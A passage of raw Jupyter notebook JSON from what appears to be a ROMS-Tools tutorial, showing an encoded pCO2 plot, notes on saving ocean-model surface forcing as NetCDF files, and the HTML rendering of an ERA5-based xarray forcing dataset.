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", "text/plain": [ "<Figure size 1300x700 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "bgc_surface_forcing.plot(\"pco2_air\", time=0)" ] }, { "cell_type": "markdown", "id": "870259e1-adf2-43bd-81c5-674c2297c2db", "metadata": {}, "source": [ "Similarly as for the physical surface forcing, we can create BGC surface forcing on a coarsened grid by setting `use_coarse_grid = True`. Note, however, that ROMS may not accept coarsened BGC surface forcing." ] }, { "cell_type": "markdown", "id": "aab03b41-194c-4dbd-be55-2ae5e1ca9dfb", "metadata": {}, "source": [ "## Saving as NetCDF or YAML file\n", "Once we have decided which of the surface forcing versions we actually want to use, we can save the dataset as a series of NetCDF files." ] }, { "cell_type": "markdown", "id": "45c0ecbf-c21e-4b01-bd0f-64f3ee0d2b88", "metadata": {}, "source": [ "We need to specify a prefix for the desired target path." ] }, { "cell_type": "code", "execution_count": 21, "id": "cbd8a66d-a8de-42da-9474-1341a4f39f8d", "metadata": { "tags": [] }, "outputs": [], "source": [ "filepath = \"/pscratch/sd/n/nloose/forcing/my_surface_forcing\"" ] }, { "cell_type": "markdown", "id": "b97beb41-4e12-412d-a798-4ca1acd680a6", "metadata": {}, "source": [ "`ROMS-Tools` will group the surface forcing by year and month and append the year and month information to this path.\n", "\n", "Let's save the physical surface forcing with corrected radiation. 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1;\n", "}\n", "\n", ".xr-attrs dt:hover span {\n", " display: inline-block;\n", " background: var(--xr-background-color);\n", " padding-right: 10px;\n", "}\n", "\n", ".xr-attrs dd {\n", " grid-column: 2;\n", " white-space: pre-wrap;\n", " word-break: break-all;\n", "}\n", "\n", ".xr-icon-database,\n", ".xr-icon-file-text2,\n", ".xr-no-icon {\n", " display: inline-block;\n", " vertical-align: middle;\n", " width: 1em;\n", " height: 1.5em !important;\n", " stroke-width: 0;\n", " stroke: currentColor;\n", " fill: currentColor;\n", "}\n", "</style><pre class='xr-text-repr-fallback'>&lt;xarray.Dataset&gt; Size: 147MB\n", "Dimensions: (time: 505, eta_rho: 102, xi_rho: 102)\n", "Coordinates:\n", " abs_time (time) datetime64[ns] 4kB 2012-01-15 ... 2012-02-05\n", " * time (time) float64 4kB 4.397e+03 4.397e+03 ... 4.418e+03 4.418e+03\n", "Dimensions without coordinates: eta_rho, xi_rho\n", "Data variables:\n", " uwnd (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " vwnd (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " swrad (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " lwrad (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " Tair (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " qair (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", " rain (time, eta_rho, xi_rho) float32 21MB dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;\n", "Attributes:\n", " title: ROMS surface forcing file created by ROMS-Tools\n", " roms_tools_version: 0.1.dev138+dirty\n", " start_time: 2012-01-15 00:00:00\n", " end_time: 2012-02-05 00:00:00\n", " source: ERA5\n", " correct_radiation: True\n", " use_coarse_grid: False\n", " model_reference_date: 2000-01-01 00:00:00\n", " type: physics</pre><div class='xr-wrap' style='display:none'><div class='xr-header'><div class='xr-obj-type'>xarray.Dataset</div></div><ul class='xr-sections'><li class='xr-section-item'><input id='section-89022390-b4a6-4d61-a605-8afbaae61059' class='xr-section-summary-in' type='checkbox' disabled ><label for='section-89022390-b4a6-4d61-a605-8afbaae61059' class='xr-section-summary' title='Expand/collapse section'>Dimensions:</label><div class='xr-section-inline-details'><ul class='xr-dim-list'><li><span class='xr-has-index'>time</span>: 505</li><li><span>eta_rho</span>: 102</li><li><span>xi_rho</span>: 102</li></ul></div><div class='xr-section-details'></div></li><li class='xr-section-item'><input id='section-9cbb3b9e-f247-4a12-89d9-a10697688f8a' class='xr-section-summary-in' type='checkbox' checked><label for='section-9cbb3b9e-f247-4a12-89d9-a10697688f8a' class='xr-section-summary' >Coordinates: <span>(2)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>abs_time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>datetime64[ns]</div><div class='xr-var-preview xr-preview'>2012-01-15 ... 2012-02-05</div><input id='attrs-9a165998-2ce0-415e-866f-79cd56ae1a24' class='xr-var-attrs-in' type='checkbox' disabled><label for='attrs-9a165998-2ce0-415e-866f-79cd56ae1a24' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-0a130fb4-c6e7-4ebc-bd9b-e704033d7205' class='xr-var-data-in' type='checkbox'><label for='data-0a130fb4-c6e7-4ebc-bd9b-e704033d7205' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'></dl></div><div class='xr-var-data'><pre>array([&#x27;2012-01-15T00:00:00.000000000&#x27;, &#x27;2012-01-15T01:00:00.000000000&#x27;,\n", " &#x27;2012-01-15T02:00:00.000000000&#x27;, ..., &#x27;2012-02-04T22:00:00.000000000&#x27;,\n", " &#x27;2012-02-04T23:00:00.000000000&#x27;, &#x27;2012-02-05T00:00:00.000000000&#x27;],\n", " dtype=&#x27;datetime64[ns]&#x27;)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span class='xr-has-index'>time</span></div><div class='xr-var-dims'>(time)</div><div class='xr-var-dtype'>float64</div><div class='xr-var-preview xr-preview'>4.397e+03 4.397e+03 ... 4.418e+03</div><input id='attrs-9e9574b1-2314-4dfb-9bbc-d079954d174a' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-9e9574b1-2314-4dfb-9bbc-d079954d174a' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-f1a4b0f4-9fb6-4bca-9c73-e9b5d39d7139' class='xr-var-data-in' type='checkbox'><label for='data-f1a4b0f4-9fb6-4bca-9c73-e9b5d39d7139' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>days since 2000-01-01 00:00:00</dd><dt><span>units :</span></dt><dd>days</dd></dl></div><div class='xr-var-data'><pre>array([4397. , 4397.041667, 4397.083333, ..., 4417.916667, 4417.958333,\n", " 4418. ])</pre></div></li></ul></div></li><li class='xr-section-item'><input id='section-9077a3af-c011-4c9f-9770-94e1d1397cd2' class='xr-section-summary-in' type='checkbox' checked><label for='section-9077a3af-c011-4c9f-9770-94e1d1397cd2' class='xr-section-summary' >Data variables: <span>(7)</span></label><div class='xr-section-inline-details'></div><div class='xr-section-details'><ul class='xr-var-list'><li class='xr-var-item'><div class='xr-var-name'><span>uwnd</span></div><div class='xr-var-dims'>(time, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-3eadcadd-272d-4700-8f5e-080f6f8dc4aa' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-3eadcadd-272d-4700-8f5e-080f6f8dc4aa' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-8b414038-f9e0-47c6-8ca3-46bcdb7d6b03' class='xr-var-data-in' type='checkbox'><label for='data-8b414038-f9e0-47c6-8ca3-46bcdb7d6b03' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>10 meter wind in x-direction</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 20.04 MiB </td>\n", " <td> 40.64 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (505, 102, 102) </td>\n", " <td> (1, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 505 chunks in 153 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td 